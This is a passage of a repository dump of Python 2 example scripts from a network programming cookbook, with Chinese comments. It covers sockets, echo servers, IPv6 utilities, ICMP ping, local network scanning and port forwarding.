s.getsockname() 18 | print "Trivial Server launched on socket: %s" % str(socket_address) 19 | while(1): 20 | s.listen(1) 21 | 22 | if __name__ == '__main__': 23 | test_socket_modes() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 1/socket_timeout.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 设定并获取默认的套接字超时时间 4 | 5 | import socket 6 | 7 | def test_socket_timeout(): 8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | print "Default socket timeout: %s" % s.gettimeout() 10 | s.settimeout(100) 11 | print "Current socket timeout: %s" % s.gettimeout() 12 | 13 | if __name__ == '__main__': 14 | test_socket_timeout() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 2/echo_server_with_diesel.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用并发库 Diesel 多路复用回显服务器 4 | 5 | import diesel 6 | import argparse 7 | 8 | SERVER_HOST = 'localhost' 9 | 10 | class EchoServer(object): 11 | """An echo server using diesel""" 12 | def handler(self, remote_addr): 13 | """Runs the echo server""" 14 | host, port = remote_addr[0], remote_addr[1] 15 | print "Echo client connected from: %s:%d" % (host, port) 16 | while True: 17 | try: 18 | message = diesel.until_eol() 19 | your_message = ': '.join(['You said', message]) 20 | diesel.send(your_message) 21 | except Exception, e: 22 | print "Exception: ", e 23 | 24 | def main(server_port): 25 | app = diesel.Application() 26 | server = EchoServer() 27 | app.add_service(diesel.Service(server.handler, server_port)) 28 | app.run() 29 | 30 | if __name__ == '__main__': 31 | parser = argparse.ArgumentParser(description='Echo Server Example With Diesel') 32 | parser.add_argument('--port', action='store', dest='port', type=int, required=True) 33 | given_args = parser.parse_args() 34 | port = given_args.port 35 | main(port) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 2/forking_mixin_socket_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 在套接字服务器程序中使用 ForkingMixIn 4 | 5 | import os 6 | import socket 7 | import threading 8 | import SocketServer 9 | 10 | SERVER_HOST = 'localhost' 11 | SERVER_PORT = 0 # Tells the kernel to pick up a port dynamically 12 | BUF_SIZE = 1024 13 | ECHO_MSG = 'Hello echo server!' 14 | 15 | class ForkingClient(): 16 | """A client to test forking server""" 17 | def __init__(self, ip, port): 18 | # Create a socket 19 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 20 | # Connect to the server 21 | self.sock.connect((ip, port)) 22 | 23 | def run(self): 24 | """Client playing with the server""" 25 | # Send the data to server 26 | current_process_id = os.getpid() 27 | print 'PID %s sending echo message to the server: %s' % (current_process_id, ECHO_MSG) 28 | send_data_length = self.sock.send(ECHO_MSG) 29 | print "Sent: %d characters, so far..." % send_data_length 30 | 31 | # Display server response 32 | response = self.sock.recv(BUF_SIZE) 33 | print "PID %s received: %s" % (current_process_id, response[5:]) 34 | 35 | def shutdown(self): 36 | """Cleanup the client socket""" 37 | self.sock.close() 38 | 39 | class ForkingServerRequestHandler(SocketServer.BaseRequestHandler): 40 | def handle(self): 41 | # Send the echo back to the client 42 | data = self.request.recv(BUF_SIZE) 43 | current_process_id = os.getpid() 44 | response = '%s: %s' % (current_process_id, data) 45 | print "Server sending response [current_process_id: data] = %s" % response 46 | self.request.send(response) 47 | return 48 | 49 | class ForkingServer(SocketServer.ForkingMixIn, SocketServer.TCPServer): 50 | """Nothing to add here, inherited everything necessary from parents""" 51 | pass 52 | 53 | def main(): 54 | # Launch the server 55 | server = ForkingServer((SERVER_HOST, SERVER_PORT), ForkingServerRequestHandler) 56 | ip, port = server.server_address # Retrieve the port number 57 | server_thread = threading.Thread(target=server.serve_forever) 58 | server_thread.setDaemon(True) # Don't hang on exit 59 | server_thread.start() 60 | print 'Server loop runing PID: %s' % os.getpid() 61 | 62 | # Launch the client(s) 63 | client1 = ForkingClient(ip, port) 64 | client1.run() 65 | 66 | client2 = ForkingClient(ip, port) 67 | client2.run() 68 | 69 | # Clean them up 70 | server.shutdown() 71 | client1.shutdown() 72 | client2.shutdown() 73 | server.socket.close() 74 | 75 | if __name__ == '__main__': 76 | main() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 2/simple_web_server_with_epoll.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 select.epoll 多路复用 Web 服务器 4 | 5 | import select 6 | import socket 7 | import argparse 8 | 9 | SERVER_HOST = 'localhost' 10 | 11 | EOL1 = b'\n\n' 12 | EOL2 = b'\n\r\n' 13 | SERVER_RESPONSE = b"""HTTP/1.1 200 OK\r\nDate: Mon, 1 Apr 2013 01:01:01 GTM\r\nContent-Type: text/plain\r\nContent-Length: 25\r\n\r\n Hello From Epoll Server!""" 14 | 15 | class EpollServer(object): 16 | """A socket server using epoll""" 17 | def __init__(self, host=SERVER_HOST, port=0): 18 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 20 | self.sock.bind((host, port)) 21 | self.sock.listen(1) 22 | self.sock.setblocking(0) 23 | self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) 24 | print "Started Epoll Server" 25 | self.epoll = select.epoll() 26 | self.epoll.register(self.sock.fileno(), select.EPOLLIN) 27 | 28 | def run(self): 29 | """Executes epoll server operation""" 30 | try: 31 | connections = {}; requests = {}; responses = {} 32 | while True: 33 | events = self.epoll.poll(1) 34 | for fileno, event in events: 35 | if fileno == self.sock.fileno(): 36 | connection, address = self.sock.accept() 37 | connection.setblocking(0) 38 | self.epoll.register(connection.fileno(), select.EPOLLIN) 39 | connections[connection.fileno()] = connection 40 | requests[connection.fileno()] = b'' 41 | responses[connection.fileno()] = SERVER_RESPONSE 42 | elif event & select.EPOLLIN: 43 | requests[fileno] += connections[fileno].recv(1024) 44 | if EOL1 in requests[fileno] or EOL2 in requests[fileno]: 45 | self.epoll.modify(fileno, select.EPOLLOUT) 46 | print '-'*40 + '\n' + requests[fileno].decode()[:-2] 47 | elif event & select.EPOLLOUT: 48 | byteswritten = connections[fileno].send(responses[fileno]) 49 | responses[fileno] = responses[fileno][byteswritten:] 50 | if len(responses[fileno]) == 0: 51 | self.epoll.modify(fileno, 0) 52 | connections[fileno].shutdown(socket.SHUT_RDWR) 53 | elif event & select.EPOLLHUP: 54 | self.epoll.unregister(fileno) 55 | connections[fileno].close() 56 | del connections[fileno] 57 | finally: 58 | self.epoll.unregister(self.sock.fileno()) 59 | self.epoll.close() 60 | self.sock.close() 61 | 62 | if __name__ == '__main__': 63 | parser = argparse.ArgumentParser(description='Socket Server Example With Epoll') 64 | parser.add_argument('--port', action='store', dest='port', type=int, required=True) 65 | given_args = parser.parse_args() 66 | port = given_args.port 67 | server = EpollServer(host=SERVER_HOST, port=port) 68 | server.run() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 2/threading_mixin_socket_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 在套接字服务器程序中使用 ThreadingMixIn 4 | 5 | import os 6 | import socket 7 | import threading 8 | import SocketServer 9 | 10 | SERVER_HOST = 'localhost' 11 | SERVER_PORT = 0 # Tells the kernel to pick up a port dynamically 12 | BUF_SIZE = 1024 13 | 14 | def client(ip, port, message): 15 | """A client to test threading mixin server""" 16 | # Connect to the server 17 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 18 | sock.connect((ip, port)) 19 | try: 20 | sock.sendall(message) 21 | response = sock.recv(BUF_SIZE) 22 | print "Client received: %s" % response 23 | finally: 24 | sock.close() 25 | 26 | class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler): 27 | """A example of threaded TCP request handler""" 28 | def handle(self): 29 | data = self.request.recv(BUF_SIZE) 30 | current_thread = threading.current_thread() 31 | response = '%s: %s' % (current_thread.name, data) 32 | # print "Server sending response [current_thread name: data] = %s" % response 33 | self.request.send(response) 34 | 35 | class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): 36 | """Nothing to add here, inherited everything necessary from parents""" 37 | pass 38 | 39 | def main(): 40 | # Launch the server 41 | server = ThreadedTCPServer((SERVER_HOST, SERVER_PORT), ThreadedTCPRequestHandler) 42 | ip, port = server.server_address # Retrieve the port number 43 | # Start a thread with the server -- one thread per request 44 | server_thread = threading.Thread(target=server.serve_forever) 45 | # Exit the server thread when the main thread exits 46 | server_thread.daemon = True 47 | server_thread.start() 48 | print 'Server loop runing thread: %s' % server_thread.name 49 | 50 | # Run clients 51 | client(ip, port, "Hello from client 1") 52 | client(ip, port, "Hello from client 2") 53 | client(ip, port, "Hello from client 3") 54 | 55 | # Server cleanup 56 | server.shutdown() 57 | 58 | if __name__ == '__main__': 59 | main() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/check_ipv6_support.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 确认你使用的 Python 是否支持 IPv6 套接字 4 | 5 | import socket 6 | import netifaces as ni 7 | 8 | def inspect_ipv6_support(): 9 | """Find the ipv6 address""" 10 | print "IPv6 support built into Python: %s" % socket.has_ipv6 11 | ipv6_addr = {} 12 | for interface in ni.interfaces(): 13 | all_addresses = ni.ifaddresses(interface) 14 | print "Interface: %s" % interface 15 | for family, addrs in all_addresses.iteritems(): 16 | fam_name = ni.address_families[family] 17 | print ' Address family: %s' % fam_name 18 | for addr in addrs: 19 | if fam_name == 'AF_INET6': 20 | ipv6_addr[interface] = addr['addr'] 21 | print ' Address: %s' % addr['addr'] 22 | nmask = addr.get('netmask', None) 23 | if nmask: 24 | print ' Newmask: %s' % nmask 25 | bcast = addr.get('broadcast', None) 26 | if bcast: 27 | print ' Broadcast: %s' % bcast 28 | 29 | if ipv6_addr: 30 | print "Found IPv6 address: %s" % ipv6_addr 31 | else: 32 | print "No IPv6 interface found!" 33 | 34 | if __name__ == '__main__': 35 | inspect_ipv6_support() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/detect_inactive_machine.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 检测网络中未开启的设备 4 | 5 | import argparse 6 | import time 7 | import sched 8 | from scapy.all import sr, srp, IP, UDP, ICMP, TCP, ARP, Ether 9 | 10 | RUN_FREQUENCY = 10 11 | 12 | scheduler = sched.scheduler(time.time, time.sleep) 13 | 14 | def detect_inactive_hosts(scan_hosts): 15 | """Scan the network to find scan_hosts are live or dead 16 | scan_hosts can be like 10.0.2.2-4 to cover range 17 | See scapy docs for specifying target""" 18 | global scheduler 19 | # schedule.enter(delay, priority, action, (argument1, )) 20 | # dealy 延迟时间 21 | # priority 优先级(用于同时间到达的两个事件同时执行时定序) 22 | # action 回调函数(被调用触发的函数) 23 | # argument1 回调函数参数 24 | # scheduler.enter(RUN_FREQUENCY, 1, detect_inactive_hosts, (scan_hosts, )) 25 | inactive_hosts = [] 26 | try: 27 | # sr 返回有回应的数据包和没有回应的数据包 28 | ans, unans = sr(IP(dst=scan_hosts)/ICMP(), retry=0, timeout=1) 29 | ans.summary(lambda(s, r): r.sprintf("%IP.src% is alive")) 30 | for inactive in unans: 31 | print "%s is inactive" % inactive.dst 32 | inactive_hosts.append(inactive.dst) 33 | print "Total %d hosts are inactive" % (len(inactive_hosts)) 34 | except KeyboardInterrupt: 35 | exit(0) 36 | 37 | if __name__ == '__main__': 38 | parser = argparse.ArgumentParser(description='Python Networking Utils') 39 | parser.add_argument('--scan-hosts', action='store', dest='scan_hosts', required=True) 40 | given_args = parser.parse_args() 41 | scan_hosts = given_args.scan_hosts 42 | scheduler.enter(1, 1, detect_inactive_hosts, (scan_hosts, )) 43 | scheduler.run() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/extract_ipv6_prefix.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 从 IPv6 地址中提取 IPv6 前缀 4 | 5 | import socket 6 | import netifaces as ni 7 | import netaddr as na 8 | 9 | def extract_ipv6_info(): 10 | """Extract IPv6 information""" 11 | print "IPv6 support built into Python: %s" % socket.has_ipv6 12 | for interface in ni.interfaces(): 13 | all_addresses = ni.ifaddresses(interface) 14 | print "Interface: %s" % interface 15 | for family, addrs in all_addresses.iteritems(): 16 | fam_name = ni.address_families[family] 17 | # print ' Address family: %s' % fam_name 18 | for addr in addrs: 19 | if fam_name == 'AF_INET6': 20 | addr = addr['addr'] 21 | has_eth_string = addr.split("%enp") 22 | if has_eth_string: 23 | addr = addr.split("%enp")[0] 24 | print " IP Address: %s" % na.IPNetwork(addr) 25 | print " IP Version: %s" % na.IPNetwork(addr).version 26 | print " IP Prefix length: %s" % na.IPNetwork(addr).prefixlen 27 | print " Network: %s" % na.IPNetwork(addr).network 28 | print " Broadcast: %s" % na.IPNetwork(addr).broadcast 29 | 30 | if __name__ == '__main__': 31 | extract_ipv6_info() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/find_network_interface_status.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 探测设备中的接口是否开启 4 | 5 | import argparse 6 | import socket 7 | import fcntl 8 | import struct 9 | import nmap 10 | 11 | SAMPLE_PORT = '21-23' 12 | SIOCGIFADDR = 0x8915 13 | 14 | def get_interface_status(ifname): 15 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 16 | ip_address = socket.inet_ntoa(fcntl.ioctl(s.fileno(), SIOCGIFADDR, struct.pack('256s', ifname[:15]))[20:24]) 17 | nm = nmap.PortScanner() 18 | nm.scan(ip_address, SAMPLE_PORT) 19 | print nm[ip_address] 20 | return nm[ip_address].state() 21 | 22 | if __name__ == '__main__': 23 | parser = argparse.ArgumentParser(description='Python Networking Utils') 24 | parser.add_argument('--ifname', action='store', dest='ifname', required=True) 25 | given_args = parser.parse_args() 26 | ifname = given_args.ifname 27 | print "Interface [%s] --> IP: %s" % (ifname, get_interface_status(ifname)) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/get_interface_ip_address.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 找出设备中某个接口的 IP 地址 4 | 5 | import argparse 6 | import sys 7 | import socket 8 | import fcntl 9 | import struct 10 | import array 11 | 12 | SIOCGIFADDR = 0x8915 13 | 14 | def get_ip_address(ifname): 15 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 16 | return socket.inet_ntoa(fcntl.ioctl(s.fileno(), SIOCGIFADDR, struct.pack('256s', ifname[:15]))[20:24]) 17 | 18 | if __name__ == '__main__': 19 | parser = argparse.ArgumentParser(description='Python Networking Utils') 20 | parser.add_argument('--ifname', action='store', dest='ifname', required=True) 21 | given_args = parser.parse_args() 22 | ifname = given_args.ifname 23 | print "Interface [%s] --> IP: %s" % (ifname, get_ip_address(ifname)) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/ipc_using_socketpairs.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用相连的套接字执行基本的进程间通信 4 | 5 | import socket 6 | import os 7 | 8 | BUFSIZE = 1024 9 | 10 | def test_socketpair(): 11 | """Test Unix socketpair""" 12 | parent, child = socket.socketpair() 13 | pid = os.fork() 14 | try: 15 | if pid: 16 | print "@Parent, sending message..." 17 | child.close() 18 | parent.sendall("Hello from parent!") 19 | response = parent.recv(BUFSIZE) 20 | print "Response from child: ", response 21 | parent.close() 22 | else: 23 | print "@Child, waiting for message from parent" 24 | parent.close() 25 | message = child.recv(BUFSIZE) 26 | print "Message from parent: ", message 27 | child.sendall("Hello from child!") 28 | child.close() 29 | except Exception, err: 30 | print "Error: %s" % err 31 | 32 | if __name__ == '__main__': 33 | test_socketpair() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/ipv6_echo_client.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 编写一个 IPv6 回显客户端/服务器(客户端) 4 | 5 | import argparse 6 | import socket 7 | import sys 8 | 9 | HOST = 'localhost' 10 | BUFSIZE = 1024 11 | 12 | def ipv6_echo_client(port, host=HOST): 13 | for result in socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM, 0, socket.AI_PASSIVE): 14 | af, socktype, proto, canonname, sa = result 15 | print sa 16 | try: 17 | sock = socket.socket(af, socktype, proto) 18 | except socket.error, err: 19 | print "Error: %s" % err 20 | 21 | try: 22 | sock.connect(sa) 23 | except socket.error, err: 24 | print err 25 | sock.close() 26 | continue 27 | 28 | if sock is None: 29 | print 'Failed to open socket!' 30 | sys.exit(1) 31 | 32 | msg = "Hello from ipv6 client" 33 | print "Send data to server: %s" % msg 34 | sock.send(msg) 35 | 36 | while True: 37 | data = sock.recv(BUFSIZE) 38 | print "Received from server: [%s]" % data 39 | if not data: 40 | break 41 | sock.close() 42 | 43 | if __name__ == '__main__': 44 | parser = argparse.ArgumentParser(description='IPv6 Socket Server Example') 45 | parser.add_argument('--port', action="store", dest="port", type=int, required=True) 46 | given_args = parser.parse_args() 47 | port = given_args.port 48 | ipv6_echo_client(port) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/ipv6_echo_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 编写一个 IPv6 回显客户端/服务器(服务器) 4 | 5 | import argparse 6 | import socket 7 | import sys 8 | 9 | HOST = 'localhost' 10 | 11 | def echo_server(port, host=HOST): 12 | """Echo server using IPv6""" 13 | for result in socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM, 0, socket.AI_PASSIVE): 14 | af, socktype, proto, canonname, sa = result 15 | 16 | # 过滤回环接口 17 | if sa[0] == '::1': 18 | continue 19 | 20 | try: 21 | sock = socket.socket(af, socktype, proto) 22 | except socket.error, err: 23 | print "Error: %s" % err 24 | 25 | try: 26 | sock.bind(sa) 27 | sock.listen(1) 28 | print "Server listening on %s:%s" % (host, port) 29 | except socket.error, err: 30 | sock.close() 31 | continue 32 | break 33 | sys.exit(1) 34 | conn, addr = sock.accept() 35 | print 'Connected to: ', addr 36 | while True: 37 | data = conn.recv(1024) 38 | print "Received data from the client: [%s]" % data 39 | if not data: 40 | break 41 | conn.send(data) 42 | print "Sent data echoed back to the client: [%s]" % data 43 | conn.close() 44 | 45 | if __name__ == '__main__': 46 | parser = argparse.ArgumentParser(description='IPv6 Socket Server Example') 47 | parser.add_argument('--port', action="store", dest="port", type=int, required=True) 48 | given_args = parser.parse_args() 49 | port = given_args.port 50 | echo_server(port) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/list_network_interfaces.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 枚举设备中的接口 4 | 5 | import sys 6 | import socket 7 | import fcntl 8 | import struct 9 | import array 10 | 11 | SIOCGIFCONF = 0x8912 # from C library sockios.h 12 | STRUCT_SIZE_32 = 32 13 | STRUCT_SIZE_64 = 40 14 | PLATFORM_32_MAX_NUMBER = 2**32 15 | DEFAULT_INTERFACES = 1 16 | 17 | def list_interfaces(): 18 | interfaces = [] 19 | max_interfaces = DEFAULT_INTERFACES 20 | is_64bit = sys.maxsize > PLATFORM_32_MAX_NUMBER 21 | struct_size = STRUCT_SIZE_64 if is_64bit else STRUCT_SIZE_32 22 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 23 | while True: 24 | bytes = max_interfaces * struct_size 25 | interface_names = array.array('B', '\0'*bytes) 26 | # buffer_info() -> (address, length) 返回当前内存地址和数组长度 27 | sock_info = fcntl.ioctl(sock.fileno(), SIOCGIFCONF, struct.pack('iL', bytes, interface_names.buffer_info()[0])) 28 | outbytes = struct.unpack('iL', sock_info)[0] 29 | if outbytes == bytes: 30 | max_interfaces *= 2 31 | else: 32 | break 33 | namestr = interface_names.tostring() 34 | for i in range(0, outbytes, struct_size): 35 | interfaces.append((namestr[i:i+16].split('\0', 1)[0])) 36 | return interfaces 37 | 38 | if __name__ == '__main__': 39 | interfaces = list_interfaces() 40 | print "The machine has %s network interfaces: %s." % (len(interfaces), interfaces) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/ping_remote_host.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 通过 ICMP 查验网络中的主机 4 | 5 | import os 6 | import argparse 7 | import struct 8 | import socket 9 | import select 10 | import time 11 | 12 | ICMP_ECHO_REQUEST = 8 # Platform sepecific 13 | DEFAULT_TIMEOUT = 4 14 | DEFAULT_COUNT = 4 15 | 16 | class Pinger(object): 17 | """Pings to a host -- the pythonic way""" 18 | def __init__(self, target_host, count=DEFAULT_COUNT, timeout=DEFAULT_TIMEOUT): 19 | self.target_host = target_host 20 | self.count = count 21 | self.timeout = timeout 22 | 23 | def do_checksum(self, source_string): 24 | """Verify the packet integrity""" 25 | sum = 0 26 | max_count = (len(source_string)/2) * 2 27 | count = 0 28 | while count < max_count: 29 | val = ord(source_string[count+1]) * 256 + ord(source_string[count]) 30 | sum = sum + val 31 | sum = sum & 0xffffffff 32 | count = count + 2 33 | 34 | if max_count < len(source_string): 35 | sum = sum + ord(source_string[len(source_string)-1]) 36 | sum = sum & 0xffffffff 37 | 38 | sum = (sum >> 16) + (sum & 0xffff) 39 | sum = sum + (sum >> 16) 40 | answer = ~sum 41 | answer = answer & 0xffff 42 | answer = answer >> 8 | (answer << 8 & 0xff00) 43 | return answer 44 | 45 | def receive_pong(self, sock, ID, timeout): 46 | """Receive ping from the socket""" 47 | time_remaining = timeout 48 | while True: 49 | start_time = time.time() 50 | readable = select.select([sock], [], [], time_remaining) 51 | time_spent = (time.time() - start_time) 52 | if readable[0] == []: # Timeout 53 | return 54 | 55 | time_received = time.time() 56 | recv_packet, addr = sock.recvfrom(1024) 57 | icmp_header = recv_packet[20:28] 58 | type, code, checksum, packet_ID, sequence = struct.unpack("bbHHh", icmp_header) 59 | 60 | if packet_ID == ID: 61 | bytes_In_double = struct.calcsize("d") 62 | time_sent = struct.unpack("d", recv_packet[28:28+bytes_In_double])[0] 63 | return time_received - time_sent 64 | 65 | time_remaining = time_remaining - time_spent 66 | if time_remaining <= 0: 67 | return 68 | 69 | def send_ping(self, sock, ID): 70 | """Seng ping to target host""" 71 | target_addr = socket.gethostbyname(self.target_host) 72 | my_checksum = 0 73 | # Create a dummy header with a 0 checksum 74 | header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, my_checksum, ID, 1) 75 | bytes_In_double = struct.calcsize("d") 76 | data = (192 - bytes_In_double) * "Q" 77 | data = struct.pack("d", time.time()) + data 78 | 79 | # Get the checksum on the data and the dummy header 80 | my_checksum = self.do_checksum(header + data) 81 | header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), ID, 1) 82 | packet = header + data 83 | sock.sendto(packet, (target_addr, 1)) 84 | 85 | def ping_once(self): 86 | """Returns the delay (in seconds) or none on timeout""" 87 | icmp = socket.getprotobyname("icmp") 88 | try: 89 | sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp) 90 | except socket.error, (errno, msg): 91 | if errno == 1: 92 | # Not superuser, so operation not permitted 93 | msg += "ICMP messages can only be sent from root user processes" 94 | raise socket.error(msg) 95 | except Exception, e: 96 | print "Exception: %s" % e 97 | 98 | my_ID = os.getpid() & 0xffff 99 | 100 | self.send_ping(sock, my_ID) 101 | delay = self.receive_pong(sock, my_ID, self.timeout) 102 | sock.close() 103 | return delay 104 | 105 | def ping(self): 106 | """Run the ping process""" 107 | for i in xrange(self.count): 108 | print "Ping to %s..." % self.target_host, 109 | try: 110 | delay = self.ping_once() 111 | except socket.gaierror, e: 112 | print "Ping failed. (socket error: '%s')" % e[1] 113 | break 114 | 115 | if delay == None: 116 | print "Ping fialed. (timeout within %ssec.)" % self.timeout 117 | else: 118 | delay = delay * 1000 119 | print "Get pong in %0.4fms" % delay 120 | 121 | if __name__ == '__main__': 122 | parser = argparse.ArgumentParser(description='Python Ping') 123 | parser.add_argument('--target-host', action='store', dest='target_host', required=True) 124 | given_args = parser.parse_args() 125 | target_host = given_args.target_host 126 | pinger = Pinger(target_host=target_host) 127 | pinger.ping() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/port_forwarding.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 把本地端口转发到远程主机 4 | 5 | import argparse 6 | import asyncore 7 | import socket 8 | 9 | LOCAL_SERVER_HOST = 'localhost' 10 | REMOTE_SERVER_HOST = 'www.baidu.com' 11 | BUFSIZE = 4096 12 | 13 | class PortForwarder(asyncore.dispatcher): 14 | def __init__(self, localip, localport, remoteip, remoteport, backlog=5): 15 | asyncore.dispatcher.__init__(self) 16 | self.localport = localport 17 | self.remoteip = remoteip 18 | self.remoteport = remoteport 19 | self.create_socket(socket.AF_INET, socket.SOCK_STREAM) 20 | self.set_reuse_addr() 21 | self.bind((localip, localport)) 22 | self.listen(backlog) 23 | 24 | def handle_accept(self): 25 | conn, addr = self.accept() 26 | print "Connected to: ", addr 27 | Sender(Receiver(conn), self.localport, self.remoteip, self.remoteport) 28 | 29 | class Receiver(asyncore.dispatcher): 30 | """接受本地请求数据并发送给远程主机""" 31 | def __init__(self, conn): 32 | asyncore.dispatcher.__init__(self, conn) 33 | self.from_remote_buffer = '' # 保存来自远程主机的数据 34 | self.to_remote_buffer = '' # 保存本地请求数据 35 | self.sender = None 36 | 37 | def handle_connect(self): 38 | pass 39 | 40 | def handle_read(self): 41 | """接受本地请求""" 42 | read = self.recv(BUFSIZE) 43 | self.to_remote_buffer += read 44 | print 'Receiver read: ', self.to_remote_buffer 45 | 46 | def writable(self): 47 | """判断是否有来自远程主机的数据(如有则调用 handle_write)""" 48 | return (len(self.from_remote_buffer) > 0) 49 | 50 | def handle_write(self): 51 | """发送来自远程主机的数据给本地主机""" 52 | sent = self.send(self.from_remote_buffer) 53 | self.from_remote_buffer = self.from_remote_buffer[sent:] 54 | print 'Receiver sent: ', sent 55 | 56 | def handle_close(self): 57 | self.close() 58 | if self.sender: 59 | self.sender.close() 60 | 61 | class Sender(asyncore.dispatcher): 62 | """接受远程主机数据并发送本地请求数据""" 63 | def __init__(self, receiver, localport, remoteaddr, remoteport): 64 | asyncore.dispatcher.__init__(self) 65 | self.localport = localport 66 | self.remoteport = remoteport 67 | self.receiver = receiver # 建立 Sender 与 Receiver 之间的联系 68 | receiver.sender = self # 建立 Sender 与 Receiver 之间的联系 69 | self.create_socket(socket.AF_INET, socket.SOCK_STREAM) # 创建套接字 70 | self.connect((remoteaddr, remoteport)) # 连接远程主机 71 | 72 | def handle_connect(self): 73 | pass 74 | 75 | def handle_read(self): 76 | """接受来自远程主机的数据""" 77 | read = self.recv(BUFSIZE) 78 | self.receiver.from_remote_buffer += read 79 | print 'Sender read: ', self.receiver.from_remote_buffer 80 | 81 | def writable(self): 82 | """判断是否有来自本地请求要发送(如有则调用 handle_write)""" 83 | if len(self.receiver.to_remote_buffer) > 0: 84 | # 修改本地请求数据(将本地主机中 Host 改为远程主机地址) 85 | self.receiver.to_remote_buffer = self.receiver.to_remote_buffer.replace(LOCAL_SERVER_HOST + ':' + str(self.localport), REMOTE_SERVER_HOST + ':' + str(self.remoteport)) 86 | return (len(self.receiver.to_remote_buffer) > 0) 87 | 88 | def handle_write(self): 89 | """发送本地请求数据""" 90 | sent = self.send(self.receiver.to_remote_buffer) 91 | self.receiver.to_remote_buffer = self.receiver.to_remote_buffer[sent:] 92 | print 'Sender write: ', sent 93 | 94 | def handle_close(self): 95 | self.close() 96 | self.receiver.close() 97 | 98 | if __name__ == '__main__': 99 | parser = argparse.ArgumentParser(description='Stackless Socket Server Example') 100 | parser.add_argument('--local-host', action='store', dest='local_host', default=LOCAL_SERVER_HOST) 101 | parser.add_argument('--local-port', action='store', dest='local_port', type=int, required=True) 102 | parser.add_argument('--remote-host', action='store', dest='remote_host', default=REMOTE_SERVER_HOST) 103 | parser.add_argument('--remote-port', action='store', dest='remote_port', type=int, default=80) 104 | given_args = parser.parse_args() 105 | local_host, remote_host = given_args.local_host, given_args.remote_host 106 | local_port, remote_port = given_args.local_port, given_args.remote_port 107 | print "Starting port forwarding local %s:%s => remote %s:%s" % (local_host, local_port, remote_host, remote_port) 108 | PortForwarder(local_host, local_port, remote_host, remote_port) 109 | asyncore.loop() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/unix_domain_socket_client.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 Unix 域套接字执行进程间通信(客户端) 4 | 5 | import socket 6 | import sys 7 | 8 | SERVER_PATH = "/tmp/python_unix_socket_server" 9 | 10 | def run_unix_domain_socket_client(): 11 | """Run a unix domain socket client""" 12 | sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) # TCP 13 | 14 | # Connect the socket to the path where the server is listening 15 | server_address = SERVER_PATH 16 | print "Connecting to %s" % server_address 17 | try: 18 | sock.connect(server_address) 19 | except socket.error, msg: 20 | print >>sys.stderr, msg 21 | sys.exit(1) 22 | 23 | try: 24 | message = "This is the message. This will be echoed back!" 25 | print "Sending [%s]" % message 26 | sock.sendall(message) 27 | amount_received = 0 28 | amount_expected = len(message) 29 | while amount_received < amount_expected: 30 | data = sock.recv(16) 31 | amount_received += len(data) 32 | print >>sys.stdout, "Received [%s]" % data 33 | finally: 34 | print "Closing client" 35 | sock.close() 36 | 37 | if __name__ == '__main__': 38 | 